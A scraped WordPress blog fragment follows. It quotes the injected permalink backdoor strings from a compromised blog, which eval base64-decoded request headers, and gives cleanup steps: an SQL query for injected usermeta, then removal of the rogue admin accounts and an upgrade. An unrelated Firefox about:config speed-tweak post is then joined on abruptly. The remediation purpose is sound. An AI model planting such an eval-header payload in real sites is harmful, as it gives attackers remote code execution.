<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">blah<span style="color: #339933;">/%&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>$<span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>base64_decode<span style="color: #009900;">&#40;</span>$_SERVER<span style="color: #009900;">&#91;</span>HTTP_REFERER<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">|</span>.<span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;%/</span></pre></div></div>

<p>Or this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">“<span style="color: #339933;">/%&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>7B$<span style="color: #339933;">%</span>7Beval<span style="color: #009900;">&#40;</span>base64_decode<span style="color: #009900;">&#40;</span>$_SERVER<span style="color: #339933;">%</span>5BHTTP_EXECCODE<span style="color: #339933;">%</span>5D<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>7D<span style="color: #339933;">|</span>.<span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;%</span></pre></div></div>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">error on line 22 at column 71: xmlParseEntityRef: no name wordpress</pre></div></div>

<p>Do not panic &#8211; you&#8217;re hacked. And there is three steps to get rid of it.</p>
<p><strong>1) Restore your permalinks</strong><br />
Go to <em>Admin panel</em> -> <em>Settings</em> -> <em>Permalinks</em>.<br />
Set your permalink structure to whatever it was earlier. If you don&#8217;t even imagine what it was &#8211; you can always ask google for it &#8211; just like this: <strong>site:yourblogurl.com</strong> &#8211; and you&#8217;ll see the answer in the links to your site.</p>
<p><strong>2) Kill the intruder(s)</strong><br />
Go to your preferred mysql administration tool (say, MySqlAdmin) and run this code in the SQL window:</p>

<div class="wp_syntax"><div class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> <span style="color: #008000;">`wp<span style="color: #008080; font-weight: bold;">_</span>usermeta`</span>
<span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #008000;">`meta<span style="color: #008080; font-weight: bold;">_</span>value`</span> <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>script<span style="color: #008080; font-weight: bold;">%</span>'</span></pre></div></div>

<p>You&#8217;ll see the list of records, write down <strong>user_id</strong>s of those guys.<br />
Go to <em>Admin panel</em> -> <em>Users</em> -> <em>Authors &#038; Users</em>, copy the <strong>edit</strong> link for any user, it&#8217;ll be somethings like:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://yourblogurl.com/wp-admin/user-edit.php?user_id=14&amp;wp_http_referer=%2Fwp-admin%2Fusers.php</pre></div></div>

<p>Then paste it into address line, and change user_id=<strong>XX</strong> to the first user_id you wrote. Go.<br />
Replace <strong>First name</strong> with whatever you want (for example &#8220;z&#8221;), insert &#8220;motherfncker@test.com&#8221; into <strong>Email</strong> field (or whatever, but remember it, you&#8217;ll need it later) and set the <strong>Role</strong> into <em>Subscriber</em>. Push Update user. Then repeat with the next one in your <strong>user_id</strong>s list. After you finished &#8211; just type in into the search line word &#8220;motherfncker&#8221; (or whatever you set emails to). Now &#8211; just <strong>delete</strong> bastards!</p>
<p><strong>3) Defend the base</strong><br />
Just upgrade your wordpress. If you will do it periodically &#8211; there will be no such problems at all!</p>
<p><strong>If you do not have ability to use some SQL tool &#8211; you can try to blind find bastards:</strong><br />
Go to <em>Admin panel</em> -> <em>Users</em> -> <em>Authors &#038; Users</em><br />
Note the number of Admin users (right under &#8220;Users&#8221; header). One of them is you, all others &#8211; bastard ones <img src='http://eyedmax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Try to find max. <em>user_id</em> in the list by hovering your mouse over links. Then copy the edit link of the user with topmost ID, insert it into address line, change it to next number and go. Did not work? Try the next number. Or previous one. You can even loop through all IDs not in use. And when you&#8217;ll find him &#8211; you know what to do! </p>

			<content:encoded><![CDATA[<p>Make sure that you have <strong>this</strong> browser:</p>
<p><a href="http://eyedmax.com/wp-content/uploads/2007/08/speed-up-firefox.jpg" atomicselection="true"><img src="http://eyedmax.com/wp-content/uploads/2007/08/speed-up-firefox-thumb.jpg" style="border: 0px none " alt="Speed Up Firefox" border="0" height="240" width="240" /></a></p>
<h3>Do you know FireFox well?</h3>
<p>And how about advanced settings page? And how about direct access to it? OK, just type “<strong>about:config</strong>” into the address bar and hit return.  Just like this:</p>
<p><a href="http://eyedmax.com/wp-content/uploads/2007/08/firefox-advanced-settings-address.jpg" atomicselection="true"><img src="http://eyedmax.com/wp-content/uploads/2007/08/firefox-advanced-settings-address-thumb.jpg" style="border: 0px none " alt="Firefox's advanced settings address" border="0" height="52" width="352" /></a></p>
<p>Now, what do you see?</p>
<p>It&#8217;s your advanced settings, basically you can&#8217;t reach most of them in other way&#8230;</p>
<h3>How To Speed Up Your FireFox</h3>
<p>Look for the following entries:<br />
network.http.pipelining<br />
network.http.proxy.pipelining<br />
network.http.pipelining.maxrequests</p>
<p>They looked just like this:<br />
<a href="http://eyedmax.com/wp-content/uploads/2007/08/firefox-network-settings.jpg" atomicselection="true"><img src="http://eyedmax.com/wp-content/uploads/2007/08/firefox-network-settings-thumb.jpg" style="border: 0px none " alt="firefox-network-settings" border="0" height="89" width="225" /></a></p>
<p>Now,<br />
Set <strong>network.http.pipelining</strong> to <strong>true</strong><br />
Set <strong>network.http.proxy.pipelining</strong> to <strong>true</strong><br />
Set <strong>network.http.pipelining.maxrequests</strong> to <strong>10</strong> (or 15)<br />
Right-click, select New-&gt;Integer, name it <strong>nglayout.initialpaint.delay</strong>, set value to <strong>0<br />
</strong>Restart Firefox.</p>
<h3>What we&#8217;ve done?</h3>
<p>We allowed to make up to 10 (15) connections at once. Make sure not to set it higher than 20.<br />
Also we allowed to act with received information with zero waiting time.</p>
